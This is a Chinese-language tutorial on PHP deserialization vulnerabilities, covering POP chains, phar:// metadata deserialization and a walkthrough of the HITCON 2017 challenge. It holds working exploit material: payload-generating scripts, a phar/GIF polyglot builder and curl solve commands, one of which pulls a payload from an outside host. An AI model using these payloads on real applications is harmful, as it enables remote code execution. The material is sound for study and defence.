一篇文章带你深入理解PHP反序列化漏洞

0X00 前言

自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门以后,php 反序列化这个漏洞就逐渐升温,没想到后来 2018 年 blackhat 的议题上这个问题再次被提及,利用的还是 Orange 的思路(我只能 orz),到现在 phar:// 反序列化已经成为了各大 CTF 炙手可热的思路,就仿佛 2016 年的 CVE-2016-7124 绕过 __weakup 一样,于是我也把这篇文章提上日程,希望能在对整个 PHP 反序列化漏洞的剖析过程中对其有更深入的理解,也希望读者在读我的文章中能有不一样的体验和收获(如果真的是这样,这将是我莫大的荣幸)

0X01 什么是序列化和反序列化

1.从 json 开始类比

我先不说序列化,大家都看到过 json 数据吧,json 什么样子的

如图所示:

此处输入图片的描述

我们看到不同组数据之间都是使用逗号分隔,每组数据内部使用冒号分隔键和值,整体看上去是一个字符串的样子,那么他原来的面目是什么呢?

如图所示:

此处输入图片的描述

我们看到,这个 json 字符串的真面目是一个数组,但是通常情况下为了前后端之间的传输方便我们将其 json_encode 了,然后我们后端如果接受到这个 json 数据,还能在 json_decode 回来,再通俗一点就是tx 目前不支持直接传输文件夹,我们必须要压缩一下然后传输,对方接收到需要解压才能看到你的数据,那么这种将原本的数据通过某种手段进行“压缩”,并且按照一定的格式存储的过程就可以称之为序列化

2.PHP 的序列化

PHP 的所谓的序列化也是一个将各种类型的数据,压缩并按照一定格式存储的过程,他所使用的函数是serialize() ,我们来看下面的实例

如图所示:

此处输入图片的描述

这是一个简单的 php 类,然后我们实例化以后对其属性进行了赋值,然后调用了 serialize() 并且输出,我们看一下输出的结果

如图所示:

此处输入图片的描述

我们看到这个和刚刚的 json 长得有些不一样了,具体的含义我已经在途中有所标注(其中属性名和属性值的格式与前面对象名的格式类似我就没有重复说明)

注意:这里是第一个非常重要的点

如果你是细心的同学,你可能会注意到一个小问题,按照我前面对象名的格式算的话你可能会发现后面的属性名有些另类,你看啊,我代码里面明明写的是
flag 属性,序列化以后却变成了 testflag ,而且前面说好的长度也不一样了,testflag
明明是8个字符,到你这里却成了10个,除此之外后面的 test 属性也“变异了”,前面多了个(*)并且长度也不对,这到底是咋了?

嗯,如果你发现这个问题,那么说明你认真地思考了,这其实涉及到了 PHP 的属性的访问权限问题,序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我定义的类的属性有三种 private protected 和 默认的 public(写不写都一样),其中

(1)Puiblic 权限:

他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符,你看那个 test1 属性,是不是这样?

(2)Private 权限:

该权限是私有权限,也就是说只能 test类使用,于是乎 test 有着强烈的占有欲,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,怎么回事?

这样,我们将其序列化的结果存入一个文件中,我们使用 Hexdump 看一下内部的结构,为了去除浏览器对整个过程的影响我修改一下代码

<?php
class test
{
    private $flag = 'Inactive';
    protected $test = "test";
    public $test1 = "test1";

    public function set_flag($flag)
    {
        $this->flag = $flag;
    }
    public function get_flag($flag)
    {
        return $this->flag;
    }
}

$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents("serialize.txt", $data);

如图所示:

此处输入图片的描述

我们看到 test 的前后出现了两个 %00 ,也就是空白符,现在是不是字符数也凑够了?那么现在请你记住这个规定,在私有属性序列化的时候格式是

%00类名%00属性名

(2)Protected 权限:

这个也很奇怪,但是没关系我们看 hexdump 的结果

如图所示:

此处输入图片的描述

这里我就不详细说了,反正格式就是这样

%00*%00属性名

这个特性一定要非常的清楚,如果很模糊的话,在我们后期构造或者修改我们的攻击向量的时候很容易出现错误

注意:这里是第二个非常重要的点

如果你再细致一点,你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:

(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

3.PHP 的反序列化

有序列化 化对象为压缩格式化的字符串,就有反序列化,将压缩格式化的字符串还原

我们还是沿用上面的代码,我现在将 serialize.txt 里面的内容进行反序列化,并输出属性值 test1 和 flag 的值

如图所示:

此处输入图片的描述

结果如下:

此处输入图片的描述

我们看到本来存储在文件中的一串字符,在 uiseralize() 的作用下还原成了对象,并且实现了 属性和方法的调用

那我拓展一下,比如说我是一个黑客,我想使坏,我在电脑主人不知道的情况下悄悄改了这个 serialize.txt 的内容,改成了下面这样**(注意红色方框的部分)**

如图所示:

此处输入图片的描述

那么当电脑主人运行这段代码的时候看到的会是什么呢?

如图所示:

此处输入图片的描述

哇咔咔, K0rz3n Hack 成功,想必电脑主人会吓一跳,会不会赶紧打开杀毒软件进行全盘的扫描呢?hhh,当然这就不是我要考虑的问题了,这个小例子其实就是我们反序列化攻击的原理的核心内容,这里算是抛砖引玉吧

0X02 为什么要 PHP 的序列化和反序列化

看到这里,肯定会有人问这个问题,如果说 json 是为了传递数据的方便性,那么 PHP 的序列化又是为了什么呢?

当然,传递数据的方便肯定是这种压缩并格式化存储的一大共同的属性,那么序列化除了这种属性以外还有什么特性呢?要是只是这样那干脆不如直接用 json 好了,当然有,从上面的实验中你没发现吗?我们把一个实例化的对象长久地存储在了计算机的磁盘上,无论什么时候调用都能恢复原来的样子,这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦,是不是很方便?

0X03 PHP 反序列化漏洞

1.概念解释:

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,我觉得这个表达很不直白,也不能说明根本的问题,不如我们叫他 PHP 对象的属性篡改漏洞好了(别说这是我说的~~)

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

2.必须知道的魔法方法:

这里就不得不介绍几个我们必须知道的魔法方法了

(1)__construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)__wakeup() :unserialize()时会自动调用
(3)__destruct():当对象被销毁时会自动调用。
(4)__toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)__get() :当从不可访问的属性读取数据
(6)__call(): 在对象上下文中调用不可访问的方法时触发
其中我想特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有__toString返回的字符串的时候__toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

3.为什么要提到这些魔法方法

为什么要提到这些魔法方法?你看你上面的实现的最简单的攻击不是也没有用到魔法方法吗,我想肯定有人要问这个问题,我曾经也问过自己这个问题。

我们上面讲过,在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

4.调用魔法方法的例子

说那么多,我们来看一个反序列化的案例,加强一下我们对这个魔法方法的理解吧

如图所示:

此处输入图片的描述

测试的结果:

此处输入图片的描述

读者可以按照我上面说的魔法方法的触发规则分析一下这个结果是怎么来的,我就不详细分析了,也比较简单,就是提示一下这里 __destruct 了两次说明当前实际上有两个对象,一个就是实例化的时候创建的对象,另一个就是反序列化后生成的对象。

5.利用魔法方法发起攻击

测试代码:

<?php
class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }
    
    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

我们先来分析一下这段代码,首先我们能看到 unserialize() 函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数 __destruct() ,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,好,既然这样我们就决定反序列化这个类的对象了,接下来让我们看一下怎么利用(我上面说过了,我们需要控制这个类的某些属性,通过控制属性实现我们的攻击)

那我们看一下哪些属性的控制是对我们有用的(这个时候我们就跳过了__construct() 方法,毕竟他永远不会被调用),因为这个例子比较简单,__destruct() 里面只用到了一个属性 test ,那肯定就是他了,那我们控制这个属性为什么内容我们就能攻击了呢,我们再观察一下 那些地方调用了 action() 函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然我们在 Evil 这个类中发现他的 action() 函数调用了 eval(),那我们的想法就很明确了,我们需要将 K0rz3n 这个类中的 test 属性篡改为 Evil 这个类的对象,然后为了 eval 能执行命令,我们还要篡改 Evil 对象的 test2 属性,将其改成我们的 Payload

分析完毕以后我们就可以构建我们的序列化字符串了,构建的方法不是手写(当然你愿意我也不拦着你,理论上是可行的),我们要将这段代码复制一下,然后修改一些内容并进行序列化操作

生成 payload 代码:

<?php
class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}


class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);

我们去除了一切与我们要篡改的属性无关的内容,对其进行序列化操作,然后将序列化的结果复制出来,想刚刚的代码发起请求

如图所示:

此处输入图片的描述

可以看到我们攻击成功,特别要提醒一下的就是我在图中框起来的部分,上面说过由于是私有属性,他有自己特殊的格式会在前后加两个 %00 ,所以我们在传输过程中国绝对不能忘掉

通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程

(1)寻找 unserialize() 函数的参数是否有我们的可控点
(2)寻找我们的反序列化的目标,重点寻找 存在 __wakeup() 或 __destruct() 魔法函数的类
(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
(4)找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击

0X04 POP 链的介绍

玩过 pwn 的同学应该对 ROP 并不陌生,ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

说了这么多理论了,来点实战性的东西演示一下 POP 链的形成吧!

1.POP 链实战

整个代码片段我将以图片的形式展现,有兴趣的读者请先自己分析,之后在看我的分析,当然这个案例里面似乎少了比较关键的 unserialize() 函数,那我们就假设这个 unserialize() 在我们的第一张图片的里面,并且参数完全可控

此处输入图片的描述

此处输入图片的描述

此处输入图片的描述

此处输入图片的描述

此处输入图片的描述

现在我们就按照,我上面说的步骤来一步一步的分析这段代码,最终构造我们的 POP 链完成利用

(1)寻找 unserialize() 函数的参数是否有我们的可控点

这个我上面说了,我们假设已经在第一段代码里设置了参数可控的 unserialize() ,所以这一步就可以跳过

(2)寻找我们的反序列化的目标,重点寻找 存在 __wakeup() 或 __destruct() 魔法函数的类

我们在第一段代码中寻找,我们发现一眼就看到了我们最想要看到的东西,__destruct() 魔法方法,好,既然这样我们就将这个类作为我们的漏洞嫌疑对象

(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

1.我们就先来看一下这个 $write ,这个 $write 虽然不是属性,但是他是我们 $_write 属性的其中一部分,那么控制他也就等于控制属性,那我们就要好好研究一下这个 $write 了,他是什么呢?通过他能调用 shutdown() 来看,他是某一个类的一个对象,因为他不是单纯的属性所以我们还要向下挖

2.于是我们就要找一下定义 shutdown() 方法的类,然后我们就锁定了 Zend_Log_Writer_Mail 这个类,我们看到这个类里面使用了 $write 对象的很多属性,比如说 _layout ,然后我们又发现这个属性也调用了一个方法 render() ,说明这个属性其实也是一个对象,于是我们还要向更深处挖掘

3.那么 _layout 是谁的对象呢?我们发现他是 Zend_layout 的一个对象,同样的,他里面是用了一个 _inflector 的属性,这个属性调用了 filter 方法,看来他也是一个对象(有完没完~~)别急,我们继续向下

4.我们发现 _inflector 是 Zend_Filter_PregReplace 的一个对象,这个对象的一些属性是能进行直接控制的,并且在调用 filter 方法的时候能直接触发 preg_replace() 方法,太好了这正是我们想要的,我们只要控制这个对象的属性就能实现我们的利用链

最后一张 图片实际上已经将整个利用链画了出来,并且给上了 payload ,下面我想通过对整个 payload 的分析再来回顾一下整个 POP 链的调用过程

如图所示:

此处输入图片的描述

所以整个 POP 链就是

writer->shutdown()->render()->filter()->preg_replace(我们控制的属性)->代码执行

声明:
当然这是一个很老的但是很经典的例子,里面用到的方法还是 preg_replace() 的 /e 选项,我们只是学习使用,请大家不要纠结

0X05 利用 phar:// 拓展 PHP 反序列化的攻击面

在 2017 年的 hitcon Orange 的一道 0day 题的解法令人震惊,Orange 通过他对底层的深度理解,为 PHP 反序列化开启了新的篇章,在此之后的 black 2018 演讲者同样用这个话题讲述了 phar:// 协议在 PHP 反序列化中的神奇利用,那么接下来就让我们分析他为什么开启了 PHP 反序列化的新世界,以及剖析一下这个他的利用方法。

1.回顾一下原先 PHP 反序列化攻击的必要条件

(1)首先我们必须有 unserailize() 函数
(2)unserailize() 函数的参数必须可控

这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是从2017 年开始 Orange 告诉我们是可以的

2.phar:// 如何扩展反序列化的攻击面的

原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

3.具体解释一下 phar 的使用

1.Phar 的文件结构

phar 文件最核心也是必须要有的部分如图所示:

此处输入图片的描述

(1) a stub

此处输入图片的描述

图片中说了,这其实就是一个PHP 文件实际上我们能将其复杂化为下面这个样子

格式为:

xxx<?php xxx; __HALT_COMPILER();?>

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件

(2)a manifest describing the contents

因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

如图所示:

此处输入图片的描述

(3)the file contents

这部分就是我们想要压缩在 phar 压缩包内部的文件

2.如何创建一个合法的 Phar压缩文件

示例代码:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    
    $phar->startBuffering();
    
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $o = new TestObject();
    
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    
    $phar->stopBuffering();
?>

因为不是文本文件,我们使用 hexdump 看一下文件的内容

如图所示:

此处输入图片的描述

可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中

我们刚刚说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

测试后受影响的函数如下:

|受影响的函数列表| | |
|:--|:--|:--|:--|
|fileatime|filectime|file_exists|file_get_contents|
|file_put_contents|file|filegroup|fopen|
|fileinode|filemtime|fileowner|fikeperms|
|is_dir|is_executable|is_file|is_link|
|is_readable|is_writable|is_writeable|parse_ini_file
|copy|unlink|stat|readfile|

3.phar 反序列化小实验

我们来做一个小测试看一下是不是真的和说的一样会反序列化

示例代码:

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

结果如图所示:

此处输入图片的描述

可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。

4.phar 的实战

这一部分的内容我打算使用 Orange 在 2017 年 hitcon 上面出的利用 Phar 进行反序列化,毕竟这是第一次出现这种利用方式的地方,应该来说是最经典的利用场景

题目源码如下:

<?php
    $FLAG    = create_function("", 'die(`/read_flag`);');                    // 得到 flag 的匿名函数
    $SECRET  = `/read_secret`;
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // 根据 remote_addr 给每个人创建一个沙盒
    @mkdir($SANDBOX);
    @chdir($SANDBOX);


    if (!isset($_COOKIE["session-data"])) {                
        $data = serialize(new User($SANDBOX));
        $hmac = hash_hmac("sha1", $data, $SECRET);
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac));      //将每个人唯一的沙盒对象加上签名后作为 session-data
    }


    class User {
        public $avatar;
        function __construct($path) {
            $this->avatar = $path;                                          //设置了头像的路径为沙盒路径
        }
    }


    class Admin extends User {
        function __destruct(){
            $random = bin2hex(openssl_random_pseudo_bytes(32));
            eval("function my_function_$random() {"
                ."  global \$FLAG; \$FLAG();"                                /*反序列化这个对象就能创建一个随机名字的函数,调用这个函数就能调用 flag,实际上这是一个骗局,匿名函数也是有名字的*/
                ."}");
            $_GET["lucky"]();
        }   
    }


    function check_session() {
        global $SECRET;
        $data = $_COOKIE["session-data"];
        list($data, $hmac) = explode("-----", $data, 2);
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
            die("Bye");
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
            die("Bye Bye");
        $data = unserialize($data);
        if ( !isset($data->avatar) )
            die("Bye Bye Bye");
        return $data->avatar;                                               //判断身份,如果身份正确返回头像路径(沙盒路径)
                                                                            //该函数不可绕过
    }


    function upload($path) {
        $data = file_get_contents($_GET["url"] . "/avatar.gif");            //获取头像,检查头是否为GIF89a ,正确后存入沙盒,
                                                                            //这个就是利用 phar:// 进行反序列化的点
        if (substr($data, 0, 6) !== "GIF89a")
            die("Fuck off");
        file_put_contents($path . "/avatar.gif", $data);
        die("Upload OK");
    }


    function show($path) {                                                 //获取这个沙盒中的头像,
        if ( !file_exists($path . "/avatar.gif") )
            $path = "/var/www/html";
        header("Content-Type: image/gif");
        die(file_get_contents($path . "/avatar.gif"));
    }


    $mode = $_GET["m"];
    if ($mode == "upload")
        upload(check_session());
    else if ($mode == "show")
        show(check_session());
    else
        highlight_file(__FILE__);

题目代码非常简短,关键点我已经在图中给出了注释,我下面就简单的分析一下这道题

这道题很明确就是一个反序列化的题,我们的目的就是通过反序列化 Admin 这个类得到我们的 flag 但是如果按照我们原先的思维,我们就可以直接放弃了,为啥?我们看一下 unserailize()的部分

 function check_session() {
        global $SECRET;
        $data = $_COOKIE["session-data"];
        list($data, $hmac) = explode("-----", $data, 2);
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
            die("Bye");
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
            die("Bye Bye");
        $data = unserialize($data);
        if ( !isset($data->avatar) )
            die("Bye Bye Bye");
        return $data->avatar;                                               //判断身份,如果身份正确返回头像路径(沙盒路径)
                                                                            //该函数不可绕过
    }

如果我们想利用 unserailize() ,通过控制其参数去实现我们的反序列化,我们就必须绕过对 cookie 的检测,那我们看一下 cookie 是怎么生成的

 $FLAG    = create_function("", 'die(`/read_flag`);');                    // 得到 flag 的匿名函数
    $SECRET  = `/read_secret`;
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // 根据 remote_addr 给每个人创建一个沙盒
    @mkdir($SANDBOX);
    @chdir($SANDBOX);


    if (!isset($_COOKIE["session-data"])) {                
        $data = serialize(new User($SANDBOX));
        $hmac = hash_hmac("sha1", $data, $SECRET);
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac));      //将每个人唯一的沙盒对象加上签名后作为 session-data
    }

很清楚 cookie 是通过 remote_addr 配合 sha1 进行 hmac 签名生成的,想绕过他那是不可能的,当时的人们肯定都是沉迷于无法绕过这个,于是最终这道题是 全球 0 解,但是现在我们就要思考一下 是不是能用 Phar 这个在不使用 unserialize() 的方式完成序列化成功 get flag

那么回顾一下使用 Phar 反序列化的条件是什么

(1)文件上传点
(2)系统文件函数
(3) phar:// 伪协议

然后我们就看到了这个函数

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");            //获取头像,检查头是否为GIF89a ,正确后存入沙盒
                                                //这个就是利用 phar:// 进行反序列化的点
    if (substr($data, 0, 6) !== "GIF89a")
        die("Fuck off");
    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

这个太完美了,完全符合我们要求,我们只要的精心构造一个包含 Admin 对象、包含 avatar.gif 文件,并且 stub 是 GIF89a<?php xxx; __HALT_COMPILER();?> 的 phar 文件然后上传上去,下一次请求通过 Phar:// 协议让 file_get_contents 请求这个文件就可以实现我们对 Admin 对象的反序列化了(有人可能会说为什么不直接用 phar:// 请求远程文件,因为phar:// 不支持访问远程 URL )

生成 phar 的 paylod

<?php
class Admin {
	public $avatar = 'orz';  
} 
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

这里还有一个点需要提一下(虽然和反序列化没什么直接关系),就是我们通过 eval 创建的函数并不能帮我们拿到 flag 因为他是随机名称的,我们是无法预测的,实际上这是 Orange 的一个障眼法,我们真正要利用的是 eval 下面的 $_GET["lucky"]();

但是实际上我们的 $FLAG 也是一个匿名函数,但是匿名函数就真的没有名字了吗?非也,匿名函数的函数名被定义为

\000_lambda_" . count(anonymous_functions)++;

这里的count 会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的随机数会刷新为1,就可以预测了

下面给出 Orange 的解题过程

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

0X06 从 PHP 源码探索 phar 利用成功的深层原因

本文本来到上一个小结对PHP 反序列化的整个的分析就结束了,可我突然又想起来了前段时间看到了 @ZSX 大师傅的一片文章,于是打算从师父哪里学姿势,正好弥补一下我对 PHP 底层肤浅的认识,所以我们继续~~

1.先介绍 PHP 流的概念

流的作用是在出发地和目的地之间传输数据。出发地和目的地可以是文件、命令行进程、网络连接、ZIP 或 TAR 压缩文件、临时内存、标准输入或输出,或者是通过 PHP 流封装协议实现的任何其他资源。

如果你读写过文件,就用过流;如果你从 php://stdin 读取过数据,或者把输入写入 php://stdout,也用过流。流为 PHP 的很多 IO 函数提供了底层实现,如 file_get_contents、fopn、fread 和 fwrite 等。PHP 的流函数提供了不同资源的统一接口。

我们可以把流比作管道,把水(资源数据)从一个地方引到另一个地方。在水从出发地到目的地的过程中,我们可以过滤水,可以改变水质,可以添加水,也可以排出水。

2.介绍流封装协议(wrapper):

因为流式数据的种类各异,而每种类型需要独特的协议,以便读写数据,我们称这些协议为流封装协议。例如,我们可以读写文件系统,可以通过 HTTP、HTTPS 或 SSH 与远程 Web 服务器通信,还可以打开并读写 ZIP、RAR 或 PHAR 压缩文件

虽然过程是一样的,但是读写文件系统中文件的方式与收发 HTTP 消息的方式有所不同,流封装协议的作用是使用通用的接口封装这种差异。

每个流都有一个协议和一个目标。指定协议和目标的方法是使用流标识符:<scheme>://<target>,其中 <scheme> 是流的封装协议,<target> 是流的数据源。

http://流封装协议

下面使用 HTTP 流封装协议创建了一个与 Flicker API 通信的 PHP 流:

<?php
$json = file_get_contents(
    'http://api.flickr.com/services/feeds/photos_public.gne?format=json'
);

不要以为这是普通的网页 URL,file_get_contents() 函数的字符串参数其实是一个流标识符。http 协议会让 PHP 使用 HTTP 流封装协议,在这个参数中,http 之后是流的目标。

注:很多 PHP 开发者可能并不知道普通的 URL 其实是 PHP 流封装协议标识符的伪装。

file://流封装协议

我们通常使用 file_get_contents()、fopen()、fwrite() 和 fclose() 等函数读写文件系统,因为 PHP 默认使用的流封装协议是 file://,所以我们很少认为这些函数使用的是 PHP 流。下面的示例演示了使用 file:// 流封装协议创建一个读写 /etc/hosts 文件的流:

<?php
$handle = fopen('file:///etc/hosts', 'rb');
while (feof($handle) !== TRUE) {
        echo fgets($handle);
}
fclose($handle);

我们通常会省略掉 file:// 协议,因为这是 PHP 使用的默认值。

这两段介绍来源于PHP 统一资源处理 API —— 流(Stream)的概述与使用详解 | 最佳实践 | 现代 PHP 新特性与最佳实践 目前的几乎所有的 I/O 操作都是通过流配合流包装器来实现的,因为 PHP 默认的包装器就是 file:// ,虽然你没写,但是底层 PHP 还是通过流包装器实现的。

还有更多

使用 stream_get_wrappers() 获取当前系统注册的全部 wrapper

此处输入图片的描述

3.开始向下挖掘:

我们上面说了,phar 文件中存在我们可控的序列化的内容,然后我们又说,这个内容在 文件系统函数 配合 phar:// 的时候能实现反序列化,但是我们没说为什么,这也就是我们这节讨论的重点,所有的原因都能从源代码找到答案

(1)先看一下 Phar 文件源代码部分

因为 Phar 是 PHP 的一个扩展,于是我们在 GitHub 的 php-src/ext/phar/phar.c 去全局搜索 unserailize() 函数

如图所示:

此处输入图片的描述

(2)但是这个函数为什么能调用呢

这就涉及到了文件系统函数的部分了,我们找一下源码,位置在 Github php-src/ext/standard/file.c
这个文件包含了非常多的文件函数的实现,我们先全局搜索 file_get_contents

如图所示:

此处输入图片的描述

然后我们稍微往下翻翻就能发现和处理 wrapper 流相关的函数

如图所示:

此处输入图片的描述

我们发现了这个 php)stream_open_wrapper_ex 这个函数能处理我们的 wrapper ,那么其他的类似的函数是不是也是底层调用了这个函数呢?

(3)由此及彼

我们全局搜索一下 fopen(),然后我们看一下具体的实现

如图所示:

此处输入图片的描述

是不是很熟悉?这下好了,我们不如把 PHP 源码下载下来,来一个真正的全局搜索

(4)举一反三

我本地使用 sublime text 对整个 PHP 源码进行了扫描,发现了很多很多地方调用了这个函数,其实并不只是我们常见的 文件系统函数

如图所示:

此处输入图片的描述

而这些截图只是整个影响面的冰山一角

(5)收集整理

1.hash

(1)hash_file()
(2)hash_update_file()

2.MySQL
mysqlnd_local_infile_init

此处输入图片的描述

3.file

这里只是对 file 的补充

(1)readfile()
(2)touch
(3)get_meta_tags()
(4)file()

4.PDO::postgresql
PDO::pgsqlCopyFromFile(string $table_name , string $filename [, string $delimiter [, string $null_as ] [, string $fields])
5.URL

fetches all the headers sent by the server in response to a HTTP request

get_headers(string url[, int format[, resource context]])
6.zlib

此处输入图片的描述

7.libxml

此处输入图片的描述

8.fileinfo

此处输入图片的描述

这些只是我找到的一些,还有一些在 Phar与Stream Wrapper造成PHP RCE的深入挖掘 - zsx's Blog

(6)简单测试

这里我就挑选最最有趣的做一个测试

zlib 这个非常有意思,他的实现意味着我们能在 compress.zlib:// 后面添加我们的 phar 语句,也就是说如果禁止了开头使用 phar:// 我们就能用这种方法绕过

测试代码:

此处输入图片的描述

结果如图所示:

此处输入图片的描述

